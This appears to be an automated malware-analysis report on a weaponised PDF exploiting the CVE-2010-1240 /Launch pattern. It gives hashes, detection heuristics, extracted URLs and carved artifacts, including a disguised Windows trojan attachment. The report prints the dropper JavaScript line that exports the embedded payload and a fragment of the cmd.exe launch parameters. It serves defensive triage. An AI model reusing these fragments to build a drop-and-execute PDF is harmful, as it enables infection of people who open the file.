Malicious PDF — malware analysis report

Static analysis result for SHA-256 c870ee43e442c33b…

MALICIOUS

PDF

1.07 MB Created: 2009-03-21 21:05:11 +05:30 Authoring application: Acrobat Distiller 7.0.5 for Macintosh First seen: 2026-05-10
MD5: 2cc908aabc45e1f4ea269b52f8ce974b SHA-1: b3ab2eb86eaf9d440551cbbb1f36dbc3c6f4d889 SHA-256: c870ee43e442c33b96684135e60d7ea956be2da128c9d6b834d2b9154eaf9f90
698 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious Link

The PDF contains embedded JavaScript and a launch action that executes cmd.exe. This indicates an attempt to exploit vulnerabilities within the PDF reader to run arbitrary commands. The command execution instruction suggests the malware is designed to download and execute a second-stage payload. While many URLs are benign, the presence of a launch action targeting cmd.exe is a critical indicator of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9939

Heuristics 16

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\crime.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • Recovery secret / private key request critical SE_SECRET_RECOVERY_LURE
    Document requests recovery phrases, private keys, backup codes, or saved passwords. Requests for these secrets in a document are high-risk.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Clickable PDF combines external action with parser-evasion structure high PDF_ACTION_PARSER_EVASION
    PDF has an external clickable URI together with object graph or xref structures that make parsers disagree, such as divergent duplicate objects, parser divergence, or xref offset mismatch. That combination is stronger than a plain link: the document is both an outward-action carrier and a parser-confusion/evasion sample.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Government-agency impersonation credential phishing lure high SE_GOV_CREDENTIAL_PHISH
    Document impersonates a government agency (Social Security, IRS, Medicare, HMRC, etc.) and uses identity/benefits-verification coercion ('identity verification required', 'this review is mandatory', 'temporary account restrictions') to steer the reader to a link that is not an official .gov/.mil destination — the hallmark of a benefits/identity credential-harvesting lure.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • External URI info PDF_URI
    PDF contains an external URL action
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.netaddiction.com/faq.htm In PDF document text
    • http://www.honeynet.org/papers/bots/In PDF document text
    • http://.rstmonday.org/issues/issue10_9/abad/index.htmlIn PDF document text
    • http://www.htcia.org/In PDF document text
    • http://www.issa.org/In PDF document text
    • http://www.infragard.net/In PDF document text
    • http://www.certmag.com/images/CM1206_salSurveyFig1.jpgIn PDF document text
    • http://www.cybercrime.gov/cc.htmlIn PDF document text
    • http://www.cybercrime.gov/ccmanual/index.htmlIn PDF document text
    • http://www.cybercrime.gov/s&smanual2002.htmIn PDF document text
    • https://www2.sansorg/reading_room/whitepapers/incident/627.phpIn PDF document text
    • http://68.156.151.124/index.htmlIn PDF document text
    • http://macek.czechian.net/defining_cyberculture.htmIn PDF document text
    • http://ojjdp.ncjrs.org/In PDF document text
    • http://www.bcybersafe.org/In PDF document text
    • http://www.ncmec.org/In PDF document text
    • http://www.internetretailer.com/internet/marketing-conference/29522-worldwide-internet-access-inches-up.htmlIn PDF document text
    • http://www.4lawschool.com/property/virtual.shtmlIn PDF document text
    • http://www.centernetworks.com/myspace-hackedIn PDF document text
    • http://www.votetrustusa.org/index.php?option=com_content&task=view&id=2554&Itemid=113In PDF document text
    • http://www.cpsr.org/issues/ethics/ceiIn PDF document text
    • http://www.pcretailmag.com/news/28704/Trojans-penetrate-online-gamingIn PDF document text
    • http://www.igcouncil.org/index.php?option=com_content&task=view&id=186&Itemid=47In PDF document text
    • http://www.emuunlim.com/doteaters/play1sta1.htmIn PDF document text
    • http://project.cyberpunk.ru/idb/hacker_ethics.htmlIn PDF document text
    • http://www.markus-giesler.com/In PDF document text
    • http://www.nw3c.org/In PDF document text
    • http://www.mors.org/publications/phalanx/dec00/feature.htmIn PDF document text
    • https://www.policyarchive.org/bitstream/handle/10207/3364/RS20557_20020603.pdf?sequence=3In PDF document text
    • http://www.antiphishing.orgIn PDF document text
    • http://apwg.org/reports/apwg_report_june_2007.pdfIn PDF document text
    • http://www.antiphishing.org/word_phish.htmlIn PDF document text
    • http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdfIn PDF document text
    • http://www.cisse.info/colloquia/cisse7/history.htmIn PDF document text
    • http://www.cybercrime.gov/ag0216.htmIn PDF document text
    • http://www.iacis.org/iis/2001_iis/TOC-IACIS-2001.htmIn PDF document text
    • http://www.rrcsei.org/RIT%20Cyber%20Survey%20Final%20Report.pdfParkerIn PDF document text
    • http://ori.dhhs.gov/education/In PDF document text
    • http://ori.dhhs.gov/misconduct/cases/press_release_poehlman.shtmlIn PDF document text
    • http://www.securitiesfraudfyi.com/enron_fraud.htmlIn PDF document text
    • http://www.securitiesfraudfyi.com/worldcom_fraud.htmlIn PDF document text
    • http://www.cnss.gov/Assets/pdf/cnssi_4009.pdfIn PDF document text
    • http://www.itsecurity.com/features/real-cost-of-spam-121007/In PDF document text
    • http://www.aic.gov.au/publications/rpp/78/rpp78.pdfIn PDF document text
    • http://www.cioinsight.com/c/a/Trends/Analysis-Data-Infrastruture/In PDF document text
    • http://itcinstitute.com/display.aspx?id=4202In PDF document text
    • http://www.electricnews.net/article/10038156.htmlIn PDF document text
    • http://www.belisarius.com/modern_business_strategy/richards/riding_the_tiger/tiger.htmIn PDF document text
    • http://www.loundy.com/CASES/US_v_LaMacchia.htmlIn PDF document text
    • http://www.aboutthescene.com/releasegroup/structure.htmlIn PDF document text
    +220 more URL(s)

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 15

Files carved from inside the sample during analysis.

FilenameKindSourceSize
crime.pdf pdf-embedded-file PDF EmbeddedFile object 1482 at offset 0x10C6D0 37888 bytes
SHA-256: 289306abd5a3ca7f49dbeda2b25cf64cfeb0abc5f0c07bf73b9143761f92dbe8
Detection
ClamAV: Win.Trojan.Rozena-131
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=crime.pdf; kind=pdf-embedded-file Static shellcode analysis recovered the Metasploit stager connect-back address: 127.0.0.1:5555 (reverse/x86, placeholder) Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_MSF_BIND, SC_PUSH_STRING Static shellcode analysis recovered API/import strings: GetProcAddress, ExitProcess, LoadLibraryA, VirtualAlloc
javascript_obj1483_000.js pdf-javascript-stream PDF /JS object 1483 at offset 0x1112F5 54 bytes
SHA-256: 2b53dbf853889061e19a5562ac2f4859ac4ba8aef2e858e08b18bb70da7a2b71
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "crime", nLaunch: 0 });
javascript_obj-001_001.js pdf-javascript-stream PDF /JS object -1 at offset 0x22AAB 9590 bytes
SHA-256: 833aeeeeec99db52830f5b5e5eb0af19e4bd272f92d91a09e237893394ca9232
Preview script
First 1,000 lines of the extracted script
BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 10.959 0 0 10.959 54.0116 635.973 Tm [(Microsoft)-267(Corporation)-275(Certi\223cations)]TJ /T1_1 1 Tf 0.0194 Tc 1.086 -1.547 Td [(M)9(icrosof)-5(t)-294(C)3(orporation)-299(in)-293(collaborati)-5(on)-293(with)]TJ 0.019 Tc 18.453 0 Td [(profes)-6(sional)-295(trai)-5(ning)-300(schools)-295(a)-4(nd)]TJ 0.0311 Tc -19.539 -1.086 Td [(businesses)-309(o)1(ffers)-304(s)-4(everal)-303(technical)-303(cert)]TJ 0.0304 Tc 15.723 0 Td [(i\223cations)-310(that)-309(pertain)-308(to)-308(its)-310(products)-310(and)]TJ 0.0131 Tc -15.723 -1.091 Td [(b)6(roader)-285(issues)-286(relevant)-285(to)-289(information)-284(systems)-286(security)83(.)-285(G)13(iven)-284(the)-290(large)-290(nu)6(mber)-285(of)]TJ 0 Tc 0 -1.091 TD [(organizations)-261(and)-261(individuals)-260(who)-259(use)-263(computers)-262(equipped)-264(with)-258(M)11(icrosoft)-264(operating)]TJ T* [(systems)-11(,)-278(app)-7(lica)-8(tions,)-288(and)-281(comp)-8(atib)-6(le)-276(sof)-10(tware)-8(,)-278(sever)-11(al)-280(techn)-9(ical)-282(cert)-8(i\223cat)-10(e)-277(pro)-8(grams)]TJ 0.029 Tc T* [(ar)5(e)-305(w)-3(idely)-305(recognized.)-300(F)29(or)-300(more)-305(information)-305(on)-305(current)-305(M)14(i)-1(crosoft)-305(certi\223cation)]TJ 0 Tc T* [(programs)-270(visit)-276(the)-278(M)11(icrosoft)-275(Certi\223cation)-273(W)73(eb)-274(page.)]TJ /T1_0 1 Tf 0 -1.955 TD [(Professiona)7(l)-278(in)-274(Critical)-276(Infrastructu)6(re)-275(Protection)]TJ /T1_1 1 Tf 0.0117 Tc 1.086 -1.542 Td [(The)-286(P)26(rofessional)-287(in)-286(Critical)-281(I)]TJ 0.0113 Tc 11.613 0 Td [(nfrastru)4(cture)-287(P)11(r)11(o)-1(tection)]TJ 0.0121 Tc 9.793 0 Td [(\(P)5(CIP)5(\204formerly)-285(C)6(CISP\))]TJ 0 Tc -22.493 -1.091 Td [(cr)-12(e)-8(d)-7(e)-8(n)-8(ti)-12(a)-8(l)-288(i)-9(s)-288(e)-8(s)-9(p)-7(e)-8(ci)-12(a)-8(l)-9(ly)-296(so)-11(u)-7(g)-8(h)-7(t)-288(b)-7(y)-292(s)-9(ec)-12(u)-7(r)-8(i)-9(ty)-296(p)-7(r)-8(o)-8(fe)-12(s)-9(s)-9(io)-11(n)-8(a)-8(l)-9(s)-288(w)-6(h)-7(o)-292(ar)-11(e)-293(re)-12(s)-9(p)-7(o)-8(n)-8(s)-9(ib)-11(l)-9(e)-288(f)-9(o)-8(r)-288(p)-7(r)-8(o)-8(-)]TJ 0 -1.091 TD [(te)-7(c)-8(ti)-12(n)-8(g)-282(c)-8(ri)-12(ti)-12(ca)-11(l)-283(i)-9(nf)-11(ra)-11(st)-12(ru)-11(c)-8(tu)-10(re)-291(re)-12(so)-11(u)-7(rc)-12(es)-292(th)-10(a)-8(t)-283(a)-8(re)-291(a)-8(ss)-13(oc)-11(ia)-12(te)-12(d)-287(w)-6(it)-7(h)-287(p)-7(ro)-11(d)-7(uc)-11(ti)-12(on)-10(,)-288(de)-11(li)-12(ve)-11(r)-14(y)75(,)]TJ T* [(and/or)-276(functioning)-287(of)-275(electrical)-282(pow)10(er)50(,)-278(oil)-279(and)-276(gas)-279(facilities,)-282(\223nancial)-282(ser)-10(vices)-281(institu-)]TJ T* [(ti)-7(o)-8(ns,)-294(te)-12(le)-7(c)-8(om)-8(mu)-8(n)-8(ic)-7(a)-8(ti)-7(o)-8(ns)-291(ne)-11(tw)-9(or)-11(ks,)-294(tr)-6(a)-8(ns)-12(po)-10(rt)-6(a)-8(ti)-7(o)-8(n)-287(as)-7(s)-9(et)-7(s)-9(,)-283(an)-10(d)-287(S)18(u)-7(per)-24(vi)-11(sor)-25(y)-282(C)-7(o)-8(ntr)-14(ol)]TJ T* [(and)-261(Data)-262(Ac)11(quisition)-265(\(SCADA\))-262(systems)-265(used)-265(to)-264(monitor)-266(and)-266(control)-264(large)-264(industrial)]TJ T* [(co)-11(m)-11(p)-7(l)-9(e)-8(xes)-10(.)-293(A)-6(s)-294(ex)-11(p)-7(l)-9(a)-8(i)-9(n)-8(e)-8(d)-292(t)-8(h)-7(ro)-16(u)-7(g)-8(h)-7(o)-8(u)-7(t)-288(t)-8(h)-7(i)-9(s)-288(e)-8(n)-8(c)-8(ycl)-15(o)-8(p)-7(e)-8(d)-7(i)-9(a)-8(,)-288(i)-9(n)-8(f)-9(o)-8(r)-8(ma)-13(t)-8(i)-9(o)-8(n)-292(s)-9(ec)-12(u)-7(r)-8(i)-9(t)-8(y)-292(th)-10(r)-8(e)-8(a)-8(t)-8(s)]TJ T* [(and)-245(various)-243(forms)-247(of)-244(cybercrime)-246(are)-247(no)11(w)-244(a)-246(major)-245(concern)-248(for)]TJ /T1_2 1 Tf 23.75 0 Td [(infor)12(mation)-242(assurance)]TJ /T1_1 1 Tf 0.018 Tc -23.75 -1.086 Td [(and)-294(functioning)-290(of)-296(information)-290(systems)-291(including)-290(the)]TJ /T1_2 1 Tf 0.0078 Tc 22.032 0 Td [(In)-9(t)-12(e)-11(rn)-9(e)-11(t)]TJ /T1_1 1 Tf 0.0178 Tc 3.456 0 Td [(.)-291(C)18(ybercrimes)-296(and)]TJ 0 Tc -25.488 -1.091 Td [(th)-10(re)-12(a)-8(ts)-292(to)-295(in)-11(fo)-11(r)-8(ma)-8(t)-8(io)-11(n)-287(s)-9(ys)-12(te)-12(ms)-294(in)-11(c)-8(lu)-11(d)-7(in)-11(g)-288(th)-10(o)-8(se)-292(d)-7(e)-8(pe)-11(n)-8(de)-11(d)-287(u)-7(p)-7(on)-289(f)-9(o)-8(r)-288(na)-10(ti)-12(o)-8(na)-10(l)-288(se)-12(c)-8(ur)-11(it)-12(y)]TJ T* [(are)-227(becoming)-228(increasingly)-230(more)-227(common)-229(and)-230(complex.)-228(The)-229(PCIP)-225(credential)-228(prepares)]TJ T* [(information)-269(security)-274(managers)-270(for)-273(emerging)-276(challenges)-269(posed)-273(by)]TJ /T1_2 1 Tf 25.167 0 Td [(malwar)13(e)]TJ /T1_1 1 Tf 3.435 0 Td [(,)-272(computer)]TJ -28.602 -1.091 Td [(hackers,)-257(and)-266(cyberterrorists.)-262(I)23(t)-262(is)-266(administered)-262(by)-258(the)-262(Critical)-263(I)12(nfrastructure)-263(I)12(nstitute.)]TJ T* [(PCIP)-246(certi\223ed)-247(professionals)-249(will)-245(have)-248(demonstrated)-245(kno)14(wledge)-249(and)-245(skills)-248(required)-246(for)]TJ T* [(des)-9(i)-9(gni)-15(ng,)-294(ma)-8(int)-15(ai)-6(ni)-11(ng,)-294(and)-292(ma)-8(na)-10(gi)-7(n)-8(g)-282(se)-12(cur)-14(it)-7(y)-282(n)-8(eed)-14(s)-283(o)-8(f)-283(cr)-7(i)-9(ti)-7(ca)-11(l)-283(inf)-15(ra)-6(st)-12(ruc)-14(tur)-9(e)-288(fa)-7(c)-8(il)-7(i-)]TJ T* [(ties.)-266(F)34(or)-264(authenticity)-269(purposes)-266(people)-265(who)-264(receive)-266(the)-267(PCIP)-261(credential)-269(are)-263(listed)-268(with)]TJ 0 -1.086 TD [(a)-272(unique)-274(certi\223cation)-275(number)-272(maintained)-276(in)-275(a)-277(secure)-273(database.)]TJ /T1_0 1 Tf 0 -1.955 TD [(Symantec)-271(Certi\223cations)]TJ /T1_1 1 Tf 1.086 -1.547 Td [(Syma)-8(nt)-11(ec)-286(C)-7(orp)-13(ora)-14(ti)-7(on)-289(off)-10(e)-8(rs)-286(fo)-11(ur)-285(le)-12(vel)-9(s)-283(o)-8(f)-283(ce)-12(rt)-6(i\223c)-15(at)-6(io)-11(n)-282(fo)-11(r)-283(se)-7(c)-8(uri)-9(ty)-290(pro)-13(fe)-7(ss)-13(io)-6(na)-10(ls)-7(,)]TJ -1.086 -1.091 Td [(including)-11(:)-278(\(1\))-279(Symantec)-279(P)19(roduc)-8(t)-277(S)18(pecial)-8(ist)-280(\(SPS\))-283(that)-280(proves)-276(knowledge)-282(of)-275(a)-282(speci\223c)]TJ 0 -1.091 TD [(Syma)-13(n)-8(t)-8(e)-8(c)-288(p)-7(r)-8(o)-8(d)-7(uc)-11(t)-8(,)-288(\()-9(2)-7(\))-288(Sym)-11(a)-8(n)-8(te)-12(c)-293(T)108(ec)-12(h)-7(n)-8(o)-8(l)-9(og)-11(y)-292(A)-6(rc)-12(h)-7(i)-9(te)-12(c)-8(t)-288(\()-9(S)-8(T)56(A)-6(\))-288(t)-8(o)-287(s)-9(u)-7(b)-7(s)-9(ta)-11(n)-8(t)-8(ia)-12(t)-8(e)-288(a)-292(p)-7(er)-12(-)]TJ T* [(son)64(\220)74(s)-231(kno)14(wledge)-234(and)-230(experience)-227(in)-234(one)-231(of)-229(four)-219(different)-231(areas)-233(of)-229(security)83(,)-231(\(3\))-232(S)13(ymantec)]TJ 0.0121 Tc 0 -1.086 TD [(Certi\223ed)-285(S)12(e)1(curity)-285(Engineer)-286(\(SCSE)5(\))-292(t)4(hat)-285(demonstrates)-287(both)-285(\(1\))-287(and)-285(\(2\))-287(abo)12(ve,)-286(and)]TJ 0.0243 Tc 0 -1.091 TD [(\(4\))-300(S)12(ymantec)-305(Certi\223ed)-299(S)12(ecurity)-299(P)24(r)-1(actitioner)-300(\(SCSP\))-300(for)-300(all)-300(four)-289(de\223ned)-299(areas)-300(of)]TJ 0 Tc T* [(security)-274(disciplines)-274(plus)-275(all)-273(related)-275(S)13(ymantec)-277(products.)]TJ /T1_2 1 Tf 9.9626 0 0 9.9626 54.0116 188.893 Tm [(Sugg)-17(es)-15(t)-8(ed)-295(Rea)-13(di)-14(ng)-16(s:)]TJ /T1_3 1 Tf 10.959 0 0 10.959 140.9221 188.893 Tm [(C)-7(e)-9(rt)-7(i)-9(\223c)-10(at)-12(io)-6(n)-286(Ma)-13(ga)-11(zi)-11(ne)-11(,)-283(C)-7(er)-12(tm)-9(ag)-11(.)]TJ /T1_1 1 Tf 13 0 Td [(\(20)-13(0)-7(8\))-11(.)]TJ /T1_3 1 Tf 3.207 0 Td [(C)-7(er)-12(ti)-12(\223c)-10(at)-7(i)-9(on)-289(Ma)-13(ga)-11(zi)-6(n)-7(e)]TJ 0.049 Tc -24.138 -1.091 Td [(sa)-6(lar)-11(y)-389(sur)-11(vey)-389(2006.)]TJ /T1_1 1 Tf 0.0497 Tc 8.624 0 Td [(R)7(etrieved)-387(from)]TJ /T1_3 1 Tf 0.0498 Tc 6.984 0 Td [(Certi\223cation)-387(Magazine)]TJ /T1_1 1 Tf 0.0497 Tc 10.093 0 Td [(W)71(eb)-387(s)-1(ite:)-388(http:/)154(/)]TJ 0 Tc -25.7 -1.086 Td [(ww)-7(w)71(.)-9(cer)-10(t)-8(ma)-8(g.)-7(c)-8(om)-8(/i)-13(ma)-8(ges)-15(/C)-10(M1)-7(20)-9(6_)-9(sa)-7(l)-9(S)18(u)-7(r)-14(ve)-11(yF)26(i)-9(g1)-10(.j)-7(pg)-10(;)-283(G)15(ri)-7(me)-9(s)-9(,)-283(J.)-292(\(20)-13(05)-9(\).)]TJ /T1_3 1 Tf 29.482 0 Td [(I)12(nf)-6(o)-8(rm)-9(a-)]TJ -29.482 -1.091 Td [(t)-9(i)-9(o)-8(n)-291(a)-8(s)-14(s)-9(u)-7(r)12(a)-8(n)-12(c)-8(e)-293(w)-6(o)-13(r)-9(k)-8(f)-9(o)-8(rc)-12(e)-293(i)-9(m)-6(p)-13(r)-9(ove)-19(m)-6(e)-9(n)-12(t)-293(p)-8(r)-9(o)-8(g)-8(ram)-7(.)]TJ /T1_1 1 Tf 18.349 0 Td [(Do)-8(D)-295(8)-7(5)-12(7)-7(0)-7(.)-9(0)-12(1)-7(-)-9(M)-10(.)-293(W)73(a)-8(s)-9(h)-7(i)-9(n)-13(g)-8(t)-8(o)-8(n)-13(,)-293(DC)-17(:)]TJ 0.0092 Tc -18.349 -1.091 Td [(Go)9(vernment)-284(P)23(r)1(inting)-284(Of\223ce;)-284(H)9(a)-9(rris,)-284(S.)-284(\(2002\).)]TJ /T1_3 1 Tf 0.0087 Tc 19.136 0 Td [(M)9(i)1(ke)-285(M)9(e)1(ye)-5(rs)103(\220)-285(C)2(ISSP\(R\))-285(certi)-5(\223cati)-5(on)]TJ 0 Tc -19.136 -1.091 Td (passport.)Tj /T1_1 1 Tf 3.352 0 Td [(N)21(ew)-216(Y)91(ork:)-213(M)21(cG)22(raw-H)10(ill)-213(Osborne)-214(M)21(edia;)-217(I)12(nternational)-217(I)12(nformation)-213(Sy)10(stems)]TJ -3.352 -1.091 Td [(S)13(ecu)-9(rity)-282(Cer)-8(ti\223cat)-8(ion)-283(Consor)-11(tium,)-282(ICS)-7(2.)-279(\(2008\))-10(.)]TJ /T1_3 1 Tf 19.57 0 Td [(F)19(r)12(equ)-8(entl)-7(y)-277(aske)-8(d)-276(que)-8(stions)-9(,)-278(appli)-11(ca-)]TJ 0.0307 Tc -19.57 -1.091 Td [(tion)-307(r)12(e)-4(quir)6(ements.)]TJ /T1_1 1 Tf 0.0318 Tc 7.579 0 Td [(R)10(e)3(trieved)-307(f)-3(rom)-305(I)3(CS2)-306(W)74(e)3(b)-306(s)-2(ite:)-308(h)]TJ 0.0322 Tc 13.751 0 Td [(ttps:/)158(/)-3(ww)5(w)73(.)3(isc2.org/cg)3(i-bin/)]TJ -0.0001 Tc -21.329 -1.091 Td [(content.cgi?categor)-11(y=1186.)]TJ /T1_3 1 Tf 0 Tc 9.9626 0 0 9.9626 252.7201 73.863 Tm [(Samuel)-279(C.)-277(McQ)-9(uade,)-280(III)-257(and)-281(N)22(eel)-276(Samp)-9(at)]TJ /T1_4 1 Tf 8.9663 0 0 8.9663 345.5261 663.979 Tm (CERTIFICATIONS)Tj /T1_5 1 Tf 10.528 0 Td (21)Tj ET
font_00_cff_off000906f6.bin pdf-font-stream PDF embedded font (cff) at offset 0x906F6 416 bytes
SHA-256: add3f74ff74abb3d28242c0dd4a7fec278b2d817794646b17af56393af5be6fe
font_01_cff_off00090aeb.bin pdf-font-stream PDF embedded font (cff) at offset 0x90AEB 167 bytes
SHA-256: d1bdf2a4003727e0b3e8f7975b2215dd0be4f0b5d22400436dd534fc5335347f
font_02_cff_off000ee46f.bin pdf-font-stream PDF embedded font (cff) at offset 0xEE46F 12266 bytes
SHA-256: ffe90f0c142534fc7179b26ad8199d210770e04865fcbc04e27368947378ccfe
font_03_cff_off000f13ff.bin pdf-font-stream PDF embedded font (cff) at offset 0xF13FF 1741 bytes
SHA-256: e14712ca386f4ffcfa43a712984437e5a2382c65b11280bcd74c6a0a138144e0
font_04_cff_off000f1e94.bin pdf-font-stream PDF embedded font (cff) at offset 0xF1E94 550 bytes
SHA-256: cc0253b97f08f721a037fb92a13082408be8efc929415134bfdd62165272bfde
font_05_cff_off000f2646.bin pdf-font-stream PDF embedded font (cff) at offset 0xF2646 9978 bytes
SHA-256: 745e6b17d3cbb77199950e461c4951b40c7eb15e844b434f3e9cfd62e0b5fb46
font_06_cff_off000f505f.bin pdf-font-stream PDF embedded font (cff) at offset 0xF505F 1149 bytes
SHA-256: f228a50a37af0f208d787974d286bee57da958a44e07b80d35a41e8061851906
font_07_cff_off000f5b0c.bin pdf-font-stream PDF embedded font (cff) at offset 0xF5B0C 10795 bytes
SHA-256: 7f60c43bd9d82d626f725c3bf8707e35385c47be11f6d368ccfcfce308d14ef7
font_08_cff_off000f8711.bin pdf-font-stream PDF embedded font (cff) at offset 0xF8711 4323 bytes
SHA-256: 47cb5926905171973a5bf02b0da07b15f62d8b77318b4168930aaf8c49bcd42e
font_09_cff_off000f9a5d.bin pdf-font-stream PDF embedded font (cff) at offset 0xF9A5D 3190 bytes
SHA-256: 617d90ae3ed86f83c5563a5a8a0be512b1fad7b32dfaa13cb94a6eab00603d8a
font_10_cff_off000fab05.bin pdf-font-stream PDF embedded font (cff) at offset 0xFAB05 104 bytes
SHA-256: 37011db834b02bb41c780d907c4088bf5cfff64eec0fbfc8ba621b67d8ee523d
font_11_cff_off000fb09e.bin pdf-font-stream PDF embedded font (cff) at offset 0xFB09E 1072 bytes
SHA-256: d41b6f81e9b2c01bde07018b18f331d45548de59f4b7267e8028161df403e6c8

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